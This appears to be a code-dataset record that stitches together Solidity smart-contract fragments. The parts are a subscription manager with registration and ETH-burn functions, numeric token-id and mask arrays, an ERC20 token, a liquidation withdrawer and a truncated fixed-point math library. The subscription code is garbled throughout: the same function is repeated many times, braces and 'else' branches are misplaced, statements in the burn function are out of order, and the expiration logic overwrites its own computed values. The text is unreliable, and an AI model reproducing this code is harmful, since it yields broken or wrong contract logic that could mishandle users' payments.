emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
} else {
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
} else {
} else if (addrExpiration < maxExpiration) {
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
} else {
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function registerAddresses(address[] calldata addresses, address referrer) external payable {
uint256 numSubs = addresses.length;
if (numSubs == 0) {
revert SubscriptionManager__MustProvideAtLeastOneAddress();
}
if (referrer == msg.sender) {
revert SubscriptionManager__CannotReferSelf();
}
uint256 subPrice = subscriptionPrice;
uint256 referralFeeReduction = referrer != address(0) ? referralFeePriceReduction * numSubs : 0;
uint256 ethRequired = numSubs * subPrice;
uint256 referralAmount;
if (block.timestamp <= LibMap.get(expiration, uint256(uint160(referrer)))) {
if (referralPercent > 0) {
referralAmount = ethRequired * referralPercent / 100;
}
}
if (referralFeeReduction > 0) {
ethRequired -= referralFeeReduction;
}
if (msg.value != ethRequired) {
revert SubscriptionManager__InvalidETHAmountProvided(msg.value, ethRequired);
}
uint40 subLength = subscriptionLength;
if (subLength == 0) {
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
LibMap.set(expiration, uint256(uint160(addr)), type(uint40).max);
emit SubscriptionPaid(addr, MAX_UINT40, subPrice);
unchecked {
++i;
}
}
uint40 maxExpiration = type(uint40).max - subLength;
for (uint256 i = 0; i < numSubs;) {
address addr = addresses[i];
_requireValidAddress(addr);
uint40 addrExpiration = LibMap.get(expiration, uint256(uint160(addr)));
uint40 timestamp = uint40(block.timestamp);
if (addrExpiration < timestamp) {
if (timestamp > maxExpiration) {
addrExpiration = type(uint40).max;
addrExpiration = timestamp + subLength;
}
unchecked {
addrExpiration += subLength;
}
addrExpiration = type(uint40).max;
}
LibMap.set(expiration, uint256(uint160(addr)), addrExpiration);
emit SubscriptionPaid(addr, addrExpiration, subPrice);
unchecked {
++i;
}
}
}
if (referralAmount > 0) {
payable(referrer).transfer(referralAmount);
emit ReferralPaid(referrer, referralAmount);
}
}
function burnETH(uint256 amountOutMin) external {
_checkRolesOrOwner(KEEPER_ROLE);
uint256 balance = address(this).balance;
uint256 amountToBurn = balance * burnPercent / 100;
uint256 amountToSend = balance - amountToBurn;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(chart);
amountOutMin,
path,
address(0xdead),
block.timestamp
);
if (!success) {
revert SubscriptionManager__ErrorSendingKeeperFunds();
}
}
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountToBurn}(
(bool success,) = payable(msg.sender).call{value: amountToSend}("");
function burnETH(uint256 amountOutMin) external {
_checkRolesOrOwner(KEEPER_ROLE);
uint256 balance = address(this).balance;
uint256 amountToBurn = balance * burnPercent / 100;
uint256 amountToSend = balance - amountToBurn;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(chart);
amountOutMin,
path,
address(0xdead),
block.timestamp
);
if (!success) {
revert SubscriptionManager__ErrorSendingKeeperFunds();
}
}
function isAddressRegistered(address user) external view returns (bool) {
return block.timestamp <= LibMap.get(expiration, uint256(uint160(user)));
}
function getExpiration(address user) external view returns (uint40) {
return LibMap.get(expiration, uint256(uint160(user)));
}
function _requireIsOwner() internal view {
if (msg.sender != owner()) {
revert SubscriptionManager__OnlyOwner();
}
}
function _requireIsOwner() internal view {
if (msg.sender != owner()) {
revert SubscriptionManager__OnlyOwner();
}
}
function _requireValidAddress(address addr) internal pure {
if (addr == address(0)) {
revert SubscriptionManager__CannotRegisterAddressZero();
}
}
function _requireValidAddress(address addr) internal pure {
if (addr == address(0)) {
revert SubscriptionManager__CannotRegisterAddressZero();
}
}
}
| 3,654,071 | [
1,
10879,
540,
6116,
2866,
2866,
2866,
2866,
2866,
2866,
18,
225,
263,
4202,
263,
2866,
2866,
2866,
2866,
2866,
2866,
2866,
13147,
225,
273,
18549,
18,
377,
1493,
2866,
2866,
2866,
2866,
2866,
2866,
2866,
2866,
18,
225,
273,
9904,
18549,
565,
397,
2866,
2866,
2866,
2866,
2866,
2866,
2866,
18,
225,
273,
20934,
15,
282,
294,
225,
263,
2866,
2866,
2866,
2866,
2866,
18,
225,
273,
20934,
9904,
225,
300,
30,
377,
263,
2866,
2866,
2866,
13147,
225,
273,
20934,
9904,
17,
225,
294,
225,
294,
18,
565,
263,
2866,
2866,
18,
225,
273,
20934,
9904,
15,
225,
294,
225,
3947,
17,
13147,
565,
263,
13147,
225,
273,
20934,
9904,
15,
225,
397,
30,
225,
300,
894,
33,
13147,
1377,
273,
20934,
9904,
33,
225,
493,
225,
300,
1432,
17,
18,
282,
273,
20934,
9904,
30,
282,
397,
30,
225,
300,
1432,
12275,
17,
18,
17,
20934,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
12132,
1318,
353,
14223,
6914,
6898,
288,
203,
565,
2254,
7132,
2713,
5381,
4552,
67,
57,
3217,
7132,
273,
618,
12,
11890,
7132,
2934,
1896,
31,
203,
565,
2254,
5034,
1071,
5381,
1475,
9383,
3194,
67,
16256,
273,
2254,
5034,
12,
21,
1769,
203,
203,
565,
423,
11563,
1071,
11732,
4980,
31,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
4633,
31,
203,
203,
565,
10560,
863,
18,
5487,
7132,
863,
3238,
7686,
31,
203,
203,
565,
2254,
28,
1071,
18305,
8410,
273,
14605,
31,
203,
565,
2254,
28,
1071,
1278,
29084,
8410,
273,
1381,
31,
203,
203,
565,
871,
605,
321,
8410,
7381,
12,
11890,
28,
394,
8410,
16,
2254,
28,
1592,
8410,
1769,
203,
565,
871,
3941,
29084,
16507,
350,
12,
2867,
8808,
14502,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3941,
29084,
14667,
5147,
3715,
4062,
7381,
12,
11890,
5034,
394,
6275,
16,
2254,
5034,
1592,
6275,
1769,
203,
565,
871,
3941,
29084,
8410,
7381,
12,
11890,
28,
394,
8410,
16,
2254,
28,
1592,
8410,
1769,
203,
565,
871,
12132,
1782,
7381,
12,
11890,
5034,
394,
1782,
16,
2254,
5034,
1592,
1782,
1769,
203,
565,
871,
12132,
16507,
350,
12,
2867,
8808,
9467,
16,
2254,
7132,
7686,
4921,
16,
2254,
5034,
6205,
1769,
203,
565,
871,
12132,
5147,
7381,
12,
11890,
5034,
394,
5147,
16,
2254,
5034,
1592,
5147,
1769,
203,
203,
565,
555,
12132,
1318,
972,
38,
321,
8410,
10136,
1919,
28130,
3361,
5621,
203,
565,
555,
12132,
1318,
972,
38,
321,
8410,
2
] |
./full_match/3/0x77c0607C037ff4fc9e6A12FD60230B3eBd31B30d/sources/browser/ERC20.sol | * @title Standard ERC20 token @dev Implementation of the basic standard token. Originally based on code by FirstBlood: This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for all accounts just by listening to said events. Note that this isn't required by the specification, and other compliant implementations may not do it./ | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
} | 8,097,817 | [
1,
8336,
4232,
39,
3462,
1147,
225,
25379,
434,
326,
5337,
4529,
1147,
18,
18040,
1230,
2511,
603,
981,
635,
5783,
38,
383,
369,
30,
1220,
4471,
24169,
3312,
1716,
685,
1125,
2641,
16,
15632,
12165,
358,
23243,
326,
1699,
1359,
1267,
364,
777,
9484,
2537,
635,
13895,
358,
7864,
350,
2641,
18,
3609,
716,
333,
5177,
1404,
1931,
635,
326,
7490,
16,
471,
1308,
24820,
16164,
2026,
486,
741,
518,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
3462,
353,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
8151,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
70,
26488,
63,
8443,
15533,
203,
565,
289,
203,
203,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
8151,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
5034,
460,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
389,
13866,
12,
3576,
18,
15330,
16,
358,
16,
460,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
460,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
389,
12908,
537,
12,
3576,
18,
15330,
16,
17571,
264,
16,
460,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2
] |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
// Simple contract used to withdraw liquidations using a DSProxy from legacy contracts (1.2.2 and below).
contract LiquidationWithdrawer {
function withdrawLiquidation(
address financialContractAddress,
uint256 liquidationId,
address sponsor
) public returns (FixedPoint.Unsigned memory) {
return IFinancialContract(financialContractAddress).withdrawLiquidation(liquidationId, sponsor);
}
}
interface IFinancialContract {
function withdrawLiquidation(uint256 liquidationId, address sponsor)
external
returns (FixedPoint.Unsigned memory amountWithdrawn);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/math/SignedSafeMath.sol";
/**
* @title Library for fixed point arithmetic on uints
*/
library FixedPoint {
using SafeMath for uint256;
using SignedSafeMath for int256;
// Supports 18 decimals. E.g., 1e18 represents "1", 5e17 represents "0.5".
// For unsigned values:
// This can represent a value up to (2^256 - 1)/10^18 = ~10^59. 10^59 will be stored internally as uint256 10^77.
uint256 private constant FP_SCALING_FACTOR = 10**18;
// --------------------------------------- UNSIGNED -----------------------------------------------------------------------------
struct Unsigned {
uint256 rawValue;
}
/**
* @notice Constructs an `Unsigned` from an unscaled uint, e.g., `b=5` gets stored internally as `5*(10**18)`.
* @param a uint to convert into a FixedPoint.
* @return the converted FixedPoint.
*/
function fromUnscaledUint(uint256 a) internal pure returns (Unsigned memory) {
return Unsigned(a.mul(FP_SCALING_FACTOR));
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue == fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if equal, or False.
*/
function isEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue == b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a > b`, or False.
*/
function isGreaterThan(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue > fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a > b`, or False.
*/
function isGreaterThan(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue > b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, Unsigned memory b) internal pure returns (bool) {
return a.rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a FixedPoint.
* @param b a uint256.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(Unsigned memory a, uint256 b) internal pure returns (bool) {
return a.rawValue >= fromUnscaledUint(b).rawValue;
}
/**
* @notice Whether `a` is greater than or equal to `b`.
* @param a a uint256.
* @param b a FixedPoint.
* @return True if `a >= b`, or False.
*/
function isGreaterThanOrEqual(uint256 a, Unsigned memory b) internal pure returns (bool) {
return fromUnscaledUint(a).rawValue >= b.rawValue;
}
/**
* @notice Whether `a` is less than `b`.
* @param a a FixedPoint.
* @param b a FixedPoint.
